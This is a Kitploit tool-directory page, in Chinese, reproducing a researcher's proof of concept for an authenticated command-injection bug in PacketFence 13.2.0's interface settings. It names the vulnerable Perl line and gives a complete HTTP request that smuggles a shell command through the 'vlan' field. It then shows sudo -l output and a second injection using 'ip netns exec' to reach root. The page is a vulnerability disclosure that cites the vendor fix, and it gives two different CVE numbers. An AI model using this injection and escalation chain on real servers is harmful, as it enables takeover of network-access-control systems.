Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
packetfence-CVE-2024-39024 — 在 Packetfence 13.2.0 中,WebGui 界面设置允许经过身份验证的远程代码执行。 | Kitploit
工具/GitHubGitHub/ly1g3/packetfence-cve-2024-39024
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubly1g3/packetfence-cve-2024-39024

packetfence-CVE-2024-39024

在 Packetfence 13.2.0 中,WebGui 界面设置允许经过身份验证的远程代码执行。

查看仓库
112个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

关于

安全研究员:ly1g3, ly1g3[at]tuta.io

GPG 指纹:https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

概述:远程代码执行 - 从低权限认证用户到管理员 RCE

CVE:CVE-2024-3924

时间线:

  • 发现 - ly1g3
  • 报告 - ly1g3
  • 修复 - packetfence

参考:https://www.packetfence.com/news/2024/packetfence-14-0-released/

Packetfence 认证后的 RCE

在 Packetfence 13.2.0 中,WebGui 接口设置允许已认证用户执行远程代码。

技术细节

从认证管理员到 root shell

管理员 -> 配置 -> 网络配置 -> 接口

Interface.pm:函数 create 第 64 行 变量 $vlan_id 来自用户输入,且仅经过客户端检查

root@kitploit:~
    my $cmd = "sudo ip link add link $physical_interface name $physical_interface.$vlan_id type vlan id $vlan_id";
    eval { $status = pf_run($cmd) };

POC

burp:

root@kitploit:~
POST /api/v1/config/interfaces HTTP/1.1
Host: 192.168.100.174:1443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Authorization: Bearer AAAAA
Content-Type: application/json
X-Packetfence-Tenant-Id: 1
Content-Length: 494
Origin: https://192.168.100.174:1443
Referer: https://192.168.100.174:1443/admin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Dnt: 1
Sec-Gpc: 1
Te: trailers
Connection: close

{"id":"eth0","prefixRouteName":"","type":"none","additional_listening_daemons":[],"address":"10.0.0.1/24","coa":null,"dhcpd_enabled":null,"dns":null,"high_availability":0,"hwaddr":"AA:AA:AA:AA:AA:64","ifindex":"3","ipaddress":"10.0.0.1","ipv6_address":null,"ipv6_prefix":null,"master":"eth0","name":"eth0","nat_enabled":null,"netmask":"255.255.255.0","network":"10.0.0.0","networks":[],"reg_network":null,"split_network":null,"tenant_id":1,"vip":null,"vlan":"$(echo 'win'>> /tmp/perl_log.txt)"}

权限提升:

gtfobins

root@kitploit:~
$ sudo -l
Matching Defaults entries for pf on packetfence:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !requiretty

Runas and Command-specific defaults for pf:
    Defaults!/sbin/ip netns exec * !syslog

User pf may run the following commands on packetfence:
    (root) NOPASSWD: /bin/systemctl, /sbin/iptables, /usr/sbin/ip6tables, /usr/sbin/ipset, /sbin/ipset, /sbin/ip,
        /sbin/vconfig, /sbin/route, /usr/bin/systemctl, /usr/bin/tee, /usr/local/pf/sbin/pfdhcplistener, /bin/kill,
        /usr/sbin/freeradius, /usr/sbin/chroot, /usr/local/pf/bin/pfcmd, /usr/sbin/conntrack, /usr/bin/timedatectl,
        /usr/bin/hostnamectl

root@kitploit:~
"vlan":";sudo /usr/sbin/ip netns exec foo id >> /tmp/perl_log.txt ;",
下载工具